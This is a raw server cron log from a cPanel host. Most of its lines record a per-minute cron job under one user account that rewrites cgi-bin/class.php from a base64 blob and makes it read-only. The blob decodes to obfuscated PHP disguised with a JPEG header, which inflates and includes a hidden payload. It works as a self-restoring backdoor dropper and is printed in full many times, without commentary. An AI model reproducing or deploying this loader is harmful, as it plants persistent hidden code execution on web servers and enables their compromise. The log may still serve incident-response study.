Nov 10 23:15:01 server CROND[16923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:15:01 server CROND[16924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:15:01 server CROND[16925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:16:01 server CROND[17899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:17:01 server CROND[18722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:18:01 server CROND[19424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:19:01 server CROND[20244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:20:01 server CROND[21060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:20:01 server CROND[21062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:20:01 server CROND[21064]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:20:01 server CROND[21063]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 23:20:01 server CROND[21065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 23:21:01 server CROND[22006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:22:01 server CROND[22801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:23:01 server CROND[23458]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:24:01 server CROND[23679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:25:01 server CROND[24504]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:25:01 server CROND[24506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:25:01 server CROND[24505]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:26:01 server CROND[24858]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:27:01 server CROND[25186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:27:01 server CROND[25187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
